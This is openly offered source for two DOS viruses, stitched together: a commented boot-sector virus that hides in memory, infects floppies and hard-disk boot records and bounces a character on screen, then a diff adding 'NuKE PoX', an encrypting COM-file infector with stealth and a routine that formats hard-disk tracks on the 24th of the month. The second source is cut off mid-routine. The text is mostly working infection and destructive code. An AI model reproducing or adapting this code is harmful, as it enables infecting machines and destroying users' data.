SWITCB DB ? ; SWITCHES - 01H - NESTED INTERRUPT
; - 02H - TIMER INTERRUPT INSTALLED
; - 04H - 16-BIT FAT
LASTUS DB ? ; DRIVE LAST USED
REMAI2 DW ? ; SECTOR NUMBER OF REST OF CODE
LATER2 DB ? ; TYPE SWITCH
LATER3 DW 2 DUP (?) ; INSTALLED.. HMMM?
RAM ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:RAM
START:
JMP HIDE_ME_PLEASE ; BRANCH ROUND BPB TABLE
DB 'MSDOS3.2' ; OEM AND VERSION
DW 512 ; BYPSEC - BYTES PER SECTOR
DB 2 ; NUMSEC - SECTORS PER ALLOCATION UNIT
DW 1 ; SECRES - RESERVED SECTORS
DB 2 ; FATNUM - NUMBER OF FATS
DW 112 ; DIRNUM - NUMBER OF ROOT DIR ENTRIES
DW 720 ; SECNUM - NUMBER OF SECTORS
DB 0FDH ; MEDIAD - MEDIA DESCRIPTOR
DW 2 ; SECFAT - NUMBER OF SECTORS PER FAT
DW 9 ; SECTRK - SECTORS PER TRACK
DW 2 ; HEDNUM - NUMBER OF HEADS
DW 0 ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER)
; START OF PROCESSING
; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA
HIDE_ME_PLEASE:
XOR AX,AX
MOV SS,AX ; STACK SEGMENT ZERO
MOV SP,7C00H ; SET STACK POINTER TO START OF BUFFER
MOV DS,AX ; DATA SEGMENT ZERO
MOV AX,RAMSIZ ; GET TOTAL RAM SIZE
SUB AX,2 ; SUBTRACT 2K
MOV RAMSIZ,AX ; REPLACE AMENDED RAM SIZE
MOV CL,6 ; NUMBER OF POSITIONS TO SHIFT
SHL AX,CL ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS)
SUB AX,7C0H ; SUBTRACT BUFFER OFFSET
MOV ES,AX ; SET TARGET SEGMENT ADDRESS
MOV SI,7C00H ; LOAD BUFFER TARGET OFFSET
MOV DI,SI ; COPY OFFSET FOR SOURCE
MOV CX,0100H ; NUMBER OF WORDS TO MOVE
REPZ MOVSW ; DUPLICATE BOOT SECTOR IN HIGH STORAGE
; MOV CS,AX ; LOAD SEGMENT OF NEW LOCATION
; THIS IS THE ILLEGAL OPCODE!
DB 08EH, 0C8H ; PREVIOUS COMMAND HARD CODED
; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
CALL SET_IT_UP
SET_IT_UP:
XOR AH,AH ; INITIALISE DISK SUB-SYSTEM
INT 13H ; DISK INTERRUPT
AND LSTDRV,80H ; SET ADDRESS FOR HARD DISK
MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
PUSH CS ; \ GET CURRENT SEGMENT
POP AX ; /
SUB AX,20H ; ADDRESS BACK ONE SECTOR
MOV ES,AX ; SET BUFFER SEGMENT FOR REST OF CODE
CALL READ_IT_IN ; READ REST OF CODE
MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
INC BX ; ADDRESS TO BOOT SECTOR STORE
MOV AX,0FFC0H ; WRAP-AROUND ADDRESS (= -400H)
MOV ES,AX ; SET BUFFER SEGMENT FOR BOOT SECTOR
CALL READ_IT_IN ; READ REAL BOOT SECTOR
XOR AX,AX
MOV SWITCH,AL ; SET OFF ALL SWITCHES
MOV DS,AX ; DATA SEGMENT ZERO
MOV AX,INT19O ; SAVE INT 19 OFFSET
MOV BX,INT19S ; SAVE INT 19 SEGMENT
MOV INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET
MOV INT19S,CS ; NEW INT 19 SEGMENT
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
MOV ORIG19,AX ; STORE OLD INT 19 OFFSET
MOV ORG19S,BX ; STORE OLD INT 19 SEGMENT
MOV DL,LSTDRV ; GET DRIVE NUMBER
DB 0EAH ; FAR JUMP TO BOOT SECTOR
DW 7C00H, 0
WRITE_IT_OUT:
MOV AX,301H ; WRITE ONE SECTOR
JMP SHORT GET_SECTOR
READ_IT_IN:
MOV AX,201H ; READ ONE SECTOR
GET_SECTOR:
XCHG BX,AX ; MOVE SECTOR NUMBER TO AX
ADD AX,HIDSEC ; ADD HIDDEN SECTORS
XOR DX,DX ; CLEAR FOR DIVISION
DIV SECTRK ; DIVIDE BY SECTORS PER TRACK
INC DL ; ADD ONE TO ODD SECTORS
MOV CH,DL ; SAVE SECTOR NUMBER
XOR DX,DX ; CLEAR FOR DIVISION
DIV HEDNUM ; DIVIDE BY NUMBER OF HEADS
MOV CL,6 ; POSITIONS TO MOVE
SHL AH,CL ; MOVE TOP TWO BITS OF TRACK
OR AH,CH ; MOVE IN SECTOR NUMBER
MOV CX,AX ; MOVE TO CORRECT REGISTER
XCHG CH,CL ; ..AND CORRECT POSITION IN REG
MOV DH,DL ; MOVE HEAD NUMBER
MOV AX,BX ; RECOVER CONTENTS OF AX
BRING_IN:
MOV DL,LSTDRV ; GET DRIVE NUMBER
MOV BX,8000H ; SET BUFFER ADDRESS
INT 13H ; DISK INTERRUPT
JNB GO_BACK ; BRANCH IF NO ERRORS
POP AX
GO_BACK:
RET
; INTERRUPT 19 (13H) (DISK) ROUTINE
INT_19:
PUSH DS
PUSH ES
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
PUSH CS ; \ SET ES EQUAL TO CS
POP ES ; /
TEST SWITCH,1 ; TEST NESTED INTERRUPT SWITCH
JNZ PASS_OUT ; EXIT IF ON
CMP AH,2 ; TEST FOR READ SECTOR
JNZ PASS_OUT ; EXIT IF NOT
CMP LSTDRV,DL ; COMPARE DRIVE NUMBER
MOV LSTDRV,DL ; SAVE DRIVE NUMBER
JNZ INT_SWITCH ; BRANCH IF DIFFERENT THIS TIME
; THIS IS THE ACTIVATION CODE. IT HAS A 'WINDOW' OF JUST LESS
; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH
; TIME A DISK-READ WILL SWITCH IT ON.
XOR AH,AH ; GET SYSTEM CLOCK
INT 1AH ; SYSTEM CLOCK INTERRUPT
TEST DH,7FH ; TEST LOW WORD HIGH BYTE
JNZ DO_TIME
TEST DL,0F0H ; TEST LOW WORD LOW BYTE
JNZ DO_TIME
PUSH DX ; SAVE SYSTEM TIME
CALL INTERRUPT_08 ; INSTALL SYSTEM CLOCK ROUTINE
POP DX ; RECOVER SYSTEM TIME
DO_TIME:
MOV CX,DX ; COPY SYSTEM TIME
SUB DX,LASTTM ; INTERVAL SINCE LAST CALL
MOV LASTTM,CX ; SAVE SYSTEM TIME
SUB DX,24H ; SUBTRACT 2 SECONDS
JB PASS_OUT ; RETURN IF LESS THAN TWO SECONDS
INT_SWITCH:
OR SWITCH,1 ; SET ON NESTED INTERRUPT SWITCH
PUSH SI
PUSH DI
CALL DISK_INSTALL ; INSTALL ON DISK
POP DI
POP SI
AND SWITCH,0FEH ; SET OFF NESTED INTERRUPT SWITCH
PASS_OUT:
POP DX
POP CX
POP BX
POP AX
POP ES
POP DS
DB 0EAH ; FAR JUMP TO ORIGINAL INT 19
DW 01FBH ; ORIG19 - ORIGINAL INT 19 OFFSET
DW 0C800H ; ORG19S - ORIGINAL INT 19 SEGMENT
; DISK INSTALLATION
DISK_INSTALL:
MOV AX,201H ; READ ONE SECTOR
MOV DH,0 ; HEAD NUMBER 0
MOV CX,1 ; TRACK 0, SECTOR 1
CALL BRING_IN ; READ FIRST SECTOR FROM DISK
TEST LSTDRV,80H ; TEST FOR HARD DRIVE
JZ FAT_CHECK ; BRANCH IF NOT
; HARD DISK - PARTITION TABLE
MOV SI,81BEH ; ADDRESS TO PARTITION TABLE
MOV CX,4 ; NUMBER OF ENTRIES IN TABLE
NEXT_PART_ENTRY:
CMP BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT
JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
CMP BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT
JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
ADD SI,10H ; ADDRESS TO NEXT ENTRY
LOOP NEXT_PART_ENTRY ; LOOP THROUGH TABLE
RET
; HARD DISK - GET BOOT RECORD
SNARF_UP_THE_BOOT:
MOV DX,[SI] ; GET HEAD NUMBER OF BOOT
MOV CX,[SI+2] ; GET TRACK AND SECTOR OF BOOT
MOV AX,201H ; READ ONE SECTOR
CALL BRING_IN ; GET BOOT SECTOR FOR PARTITION
; BOOT SECTOR PROCESSING
FAT_CHECK:
MOV SI,8002H ; ADDRESS TO BPB SOURCE
MOV DI,7C02H ; ADDRESS TO BPB TARGET
MOV CX,1CH ; LENGTH OF BPB
REPZ MOVSB ; COPY BPB
CMP LATER3,1357H ; IS VIRUS INSTALLED ALREADY
JNZ WHERE_BE_THE_FAT ; BRANCH IF NOT
CMP LATER2,0
JNB HEAD_EM_OUT
MOV AX,FSTCLS ; GET SECTOR NO OF FIRST CLUSTER
MOV CURCLS,AX ; SAVE IT
MOV SI,REMAI2
JMP PLACE_VIRUS
HEAD_EM_OUT: RET
; CALCULATE LOCATION OF FAT AND FIRST CLUSTER
WHERE_BE_THE_FAT:
CMP BIPSEC,200H ; SECTOR SIZE 512
JNZ HEAD_EM_OUT ; EXIT IF DIFFERENT SIZE
CMP ALCSEC,2 ; SECTORS PER CLUSTER
JB HEAD_EM_OUT ; EXIT IF LESS THAN 2
MOV CX,VERVED ; GET RESERVED SECTORS
MOV AL,RUMNUM ; NUMBER OF FATS
CBW ; FILL OUT REGISTER
MUL FASNUM ; SECTORS PER FAT
ADD CX,AX ; SECTOR OF ROOT DIR
MOV AX,20H ; LENGTH OF DIR ENTRY
MUL ROTRID ; NUMBER OF DIR ENTRIES
ADD AX,1FFH ; ROUND UP TO WHOLE SECTORS
MOV BX,200H ; LENGTH OF SECTOR
DIV BX ; SECTORS OF ROOT DIR
ADD CX,AX ; SECTOR OF FIRST CLUSTER
MOV CURCLS,CX ; SAVE THIS
MOV AX,SECNUM ; GET NUMBER OF SECTORS
SUB AX,CURCLS ; SUBTRACT NON-DATA SECTORS
MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
XOR DX,DX
XOR BH,BH ; CLEAR TOP OF REGISTER
DIV BX ; CALCULATE NUMBER OF CLUSTERS
INC AX ; ALLOW FOR NUMBER ONE NOT USED
MOV DI,AX
AND SWITCH,0FBH ; SET OFF 16-BIT FAT SWITCH
CMP AX,0FF0H ; SEE IF 12-BIT FAT
JBE WRITE_FAT ; BRANCH IF YES
OR SWITCH,4 ; SET ON 16-BIT FAT SWITCH
WRITE_FAT:
MOV SI,1 ; INITIALISE FAT ENTRY COUNT
MOV BX,SECRES ; GET RESERVED SECTORS
DEC BX ; ALLOW FOR ADDITION
MOV CURFAT,BX ; SAVE CURRENT FAT SECTOR
MOV PRCFAT,0FEH ; SET PROCESSED FAT LENGTH TO -2
JMP SHORT READ_FAT
; DATA AREA
DW 2 ; CURFAT - CURRENT FAT SECTOR
DW 12 ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER
DB 1 ; SWITCH - SWITCHES
; - 01H - NESTED INTERRUPT
; - 02H - TIMER INTERRUPT INSTALLED
; - 04H - 16-BIT FAT
DB 0 ; LSTDRV - DRIVE LAST USED
DW 02B8H ; REMAIN - SECTOR NUMBER OF REST OF CODE
DB 0 ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING
DW 1357H, 0AA55H ; FLAG01 - FLAG FIELD.
; END OF FIRST SECTOR, START OF SECOND
; SEARCH FAT FOR UNUSED CLUSTER
READ_FAT:
INC CURFAT ; ADDRESS TO NEXT FAT SECTOR
MOV BX,CURFAT ; GET NEXT SECTOR NUMBER
ADD PRCFAT,2 ; ADD TO PROCESSED FAT LENGTH
CALL READ_IT_IN ; READ FAT SECTOR
JMP SHORT GET_EM_NEXT
FAT_SWITCH:
MOV AX,3 ; LENGTH OF TWO FAT ENTRIES
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
JZ FAT_ENTRY ; BRANCH IF OFF
INC AX ; FOUR BYTES NOT THREE
FAT_ENTRY:
MUL SI ; MULTIPLY BY FAT ENTRY NUMBER
SHR AX,1 ; DIVIDE BY TWO
SUB AH,PRCFAT ; SUBTRACT PROCESSED FAT LENGTH
MOV BX,AX ; COPY DISPLACEMENT
CMP BX,1FFH ; SEE IF IN THIS SECTOR
JNB READ_FAT ; BRANCH IF NOT
MOV DX,[BX+8000H] ; GET ENTRY
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
JNZ F_TEST_1 ; BRANCH IF ON
MOV CL,4 ; POSITIONS TO MOVE
TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
JZ FAT_TOP ; BRANCH IF NOT
SHR DX,CL ; SHIFT EVEN ENTRY INTO POSITION
FAT_TOP:
AND DH,0FH ; SWITCH OFF TOP BITS
F_TEST_1:
TEST DX,0FFFFH ; TEST ALL BITS
JZ MAKE_BAD ; BRANCH IF NONE ON
GET_EM_NEXT:
INC SI ; NEXT FAT ENTRY
CMP SI,DI ; HAS LAST ENTRY BEEN PROCESSED
JBE FAT_SWITCH ; BRANCH IF NOT
RET
; SPARE CLUSTER FOUND - INSTALL ON DISK
MAKE_BAD:
MOV DX,0FFF7H ; LOAD BAD SECTOR MARKER
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
JNZ FIND_SECTOR ; BRANCH IF ON
AND DH,0FH ; CONVERT MARKER TO FF7H
MOV CL,4 ; BITS TO MOVE
TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
JZ FIND_SECTOR ; BRANCH IF NOT
SHL DX,CL ; MOVE INTO POSITION
FIND_SECTOR:
OR [BX+8000H],DX ; PUT MARKER INTO FAT
MOV BX,CURFAT ; GET SECTOR NUMBER
CALL WRITE_IT_OUT ; WRITE FAT SECTOR
MOV AX,SI ; GET ENTRY NUMBER
SUB AX,2 ; SUBTRACT FIRST CLUSTER NUMBER
MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
XOR BH,BH ; CLEAR TOP OF REGISTER
MUL BX ; CONVERT TO SECTORS
ADD AX,CURCLS ; ADD SECTOR NUMBER OF 1ST CLUSTER
MOV SI,AX ; SAVE REAL SECTOR NUMBER
MOV BX,0 ; SECTOR ZERO
CALL READ_IT_IN ; READ BOOT SECTOR
MOV BX,SI ; GET OUTPUT SECTOR NUMBER
INC BX ; ADDRESS TO NEXT SECTOR
CALL WRITE_IT_OUT ; WRITE BOOT SECTOR TO STORE
PLACE_VIRUS:
MOV BX,SI ; GET OUTPUT SECTOR NUMBER
MOV REMAIN,SI ; SAVE SECTOR NO OF REST OF CODE
PUSH CS ; \ GET CURRENT SEGMENT
POP AX ; /
SUB AX,20H ; ADDRESS BACK TO VIRUS (2)
MOV ES,AX ; SET BUFFER ADDRESS
CALL WRITE_IT_OUT ; WRITE VIRUS (2)
PUSH CS ; \ GET CURRENT SEGMENT
POP AX ; /
SUB AX,40H ; ADDRESS BACK TO VIRUS (1)
MOV ES,AX ; SET BUFFER ADDRESS
MOV BX,0 ; SECTOR ZERO
CALL WRITE_IT_OUT ; WRITE VIRUS (1)
RET
DW 20CH ; LASTTM - SYSTEM TIME LAST CALLED
DB 2 ; PRCFAT - PROCESSED FAT / 256
; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE
INTERRUPT_08:
TEST SWITCH,2 ; TEST INT 8 INSTALLED SWITCH
JNZ FINISH_TIME ; BRANCH IF ON
OR SWITCH,2 ; SET ON INT 8 INSTALLED SWITCH
MOV AX,0 ; \ SEGMENT ZERO
MOV DS,AX ; /
MOV AX,INT8OF ; SAVE INT 8 OFFSET
MOV BX,INT8SG ; SAVE INT 8 SEGMENT
MOV INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET
MOV INT8SG,CS ; NEW INT 8 SEGMENT
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
MOV ORG08O,AX ; STORE OLD INT 8 OFFSET
MOV ORG08S,BX ; STORE OLD INT 8 SEGMENT
FINISH_TIME:
RET
; INTERRUPT 10
DO_VIDEO:
PUSH DS
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
MOV AH,0FH ; GET VDU PARAMETERS
INT 10H ; VDU INTERRUPT
MOV BL,AL ; VDU MODE
CMP BX,MODEAP ; TEST MODE AND ACTIVE PAGE
JZ CHARACTER_ATTRIB ; BRANCH IF UNCHANGED
MOV MODEAP,BX ; SAVE MODE AND ACTIVE PAGE
DEC AH ; VISIBLE COLUMNS
MOV COLUMN,AH ; SAVE VISIBLE COLUMNS - 1
MOV AH,1 ; GRAPHICS MODE SWITCH ON
CMP BL,7 ; TEST FOR TELETYPE MODE
JNZ IS_IT_GRAPHICS ; BRANCH IF NOT
DEC AH ; GRAPHICS MODE SWITCH OFF
IS_IT_GRAPHICS:
CMP BL,4 ; TEST FOR GRAPHICS MODE
JNB ROW_AND_COLUMN ; BRANCH IF GRAPHICS OR TELETYPE
DEC AH ; GRAPHICS MODE SWITCH OFF
ROW_AND_COLUMN:
MOV GRAPHM,AH ; STORE GRAPHICS MODE SWITCH
MOV ROWCOL,101H ; SET ROW AND COLUMN POSITIONS
MOV ROWCLM,101H ; SET ROW AND COLUMN MOVEMENT
MOV AH,3 ; GET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
PUSH DX ; SAVE CURSOR ADDRESS
MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
JMP SHORT VIDEO_01
CHARACTER_ATTRIB:
MOV AH,3 ; GET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
PUSH DX
MOV AH,2 ; SET CURSOR ADDRESS
MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
INT 10H ; VDU INTERRUPT
MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
JNZ WRITE_CHAR ; BRANCH IF NOT
MOV AX,8307H ; CHARACTER AND WRITE MODE
WRITE_CHAR:
MOV BL,AH ; MOVE ATTRIBUTE OR WRITE MODE
MOV CX,1 ; ONLY ONCE
MOV AH,9 ; WRITE CHARACTER AND ATTRIBUTES
INT 10H ; VDU INTERRUPT
VIDEO_01:
MOV CX,ROWCLM ; GET ROW AND COLUMN MOVEMENT
CMP DH,0 ; IS ROW ZERO
JNZ VIDEO_02 ; BRANCH IF NOT
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
INC CH ; /
VIDEO_02:
CMP DH,18H ; IS ROW 24
JNZ VIDEO_04 ; BRANCH IF NOT
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
INC CH ; /
VIDEO_04:
CMP DL,0 ; IS COLUMN 0
JNZ VIDEO_05 ; BRANCH IF NOT
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
INC CL ; /
VIDEO_05:
CMP DL,COLUMN ; IS COLUMN LAST VISIBLE COLUMN
JNZ VIDEO_07 ; BRANCH IF NOT
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
INC CL ; /
VIDEO_07:
CMP CX,ROWCLM ; COMPARE ROW AND COLUMN MOVEMENT
JNZ VIDEO_09 ; BRANCH IF CHANGED
MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
AND AL,7 ; SWITCH OFF TOP BIT OF CHARACTER
CMP AL,3 ; TEST BITS 1 AND 2
JNZ VIDEO_08 ; BRANCH IF OFF
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
INC CH ; /
VIDEO_08:
CMP AL,5 ; TEST BITS 1 AND 3
JNZ VIDEO_09 ; BRANCH IF OFF
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
INC CL ; /
VIDEO_09:
ADD DL,CL ; NEW COLUMN POSITION
ADD DH,CH ; NEW ROW POSITION
MOV ROWCLM,CX ; SAVE ROW AND COLUMN POSITIONS
MOV ROWCOL,DX ; SAVE ROW AND COLUMN POSITIONS
MOV AH,2 ; SET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
MOV AH,8 ; READ CHARACTER AND ATTRIBUTES
INT 10H ; VDU INTERRUPT
MOV CHARAT,AX ; SAVE CHARACTER AND ATTRIBUTES
MOV BL,AH ; MOVE ATTRIBUTES
CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
JNZ VIDEO_10 ; BRANCH IF NOT
MOV BL,83H ; WRITE MODE FOR GRAPHICS
VIDEO_10:
MOV CX,1 ; ONCE ONLY
MOV AX,907H ; WRITE CHARACTER AND ATTRIBUTES
INT 10H ; VDU INTERRUPT
POP DX ; RESTORE CURSOR ADDRESS
MOV AH,2 ; SET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
POP DX
POP CX
POP BX
POP AX
POP DS
DB 0EAH ; FAR JUMP TO ORIGINAL INT 8
DW 0907H ; ORG08O - ORIGINAL INT 8 OFFSET
DW 10BDH ; ORG08S - ORIGINAL INT 8 SEGMENT
DW 0720H ; CHARAT - CHARACTER AND ATTRIBUTES
DW 1533H ; ROWCOL - ROW AND COLUMN POSITIONS
DW 01FFH ; ROWCLM - ROW AND COLUMN MOVEMENT
DB 0 ; GRAPHM - GRAPHICS MODE SWITCH
DW 3 ; MODEAP - MODE AND ACTIVE PAGE
DB 4FH ; DW7FD6 - VISIBLE COLUMNS - 1
DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H
DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H
DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H
DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH
DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H
; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE
CODE ENDS
END START
--
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
Student at the Northeatstern University College of Computer Science
"I Can't Believe It's Not Butter"

@ -0,0 +1,344 @@
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
;*- ~~~~~~ *-
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
;-* Encrypted Copies of the Virus) -*
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
crypt_size equ crypt - init_virus ;All that gets Incrypted
virus_size equ last - init_virus ;Size of the Virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h ;CTRL-ATL-DEL Key
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus ;+3 bytes
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
call doit_now ;Doit VirusMan... ;+3 Bytes
;========
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
sub bp,109h ;have to be added to the 100h! This
push ax ;SETs our `Delta Pointer'.
push bx
push cx
push dx ;Save registers
push si
push di
push bp
push es
push ds
mov ax,0abcdh ;Are we resident Already?
int 21h
cmp bx,0abcdh ;Yupe... Quit Then...
je exit_com
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
mov ax,3521h ;Some AVs may INTCEPT this Call!
int 21h ;May be better to go Manually...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size+virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number of bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
mov bx,offset buffer ; Its a COM file restore
add bx,bp ; First three Bytes...
mov ax,[bx] ; Mov the Byte to AX
mov word ptr ds:[100h],ax ; First two bytes Restored
add bx,2 ; Get the next Byte
mov al,[bx] ; Move the Byte to AL
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
pop ds
pop es
pop bp ; Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ; Jump Back to Beginning
push ax ; Restores our IP (a CALL
retn ; Saves them, now we change
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler:
push ax
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,0abcdh ;Virus testing
jne int21call
mov bx,0abcdh
int21call:
jmp dword ptr cs:[int21] ;Split...
ret
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,3h
mov dx,offset ds:[buffer] ;Read first 3 bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end
xor cx,cx ;of file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exit ;Yupe! Split
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the first 3
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21] ;Jmp back to whatever
rocko endp
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,2ch ;Get Time
int 21h
push dx ;Split seconds to AX
pop ax
mov byte ptr cs:[value],al ;AL = 0 to 99
;New Encryption Value
mov cx,virus_size
push cs
pop es ;Copy ANOTHER copy of the
mov si,offset init_virus ;Virus to the end of us
mov di,offset last
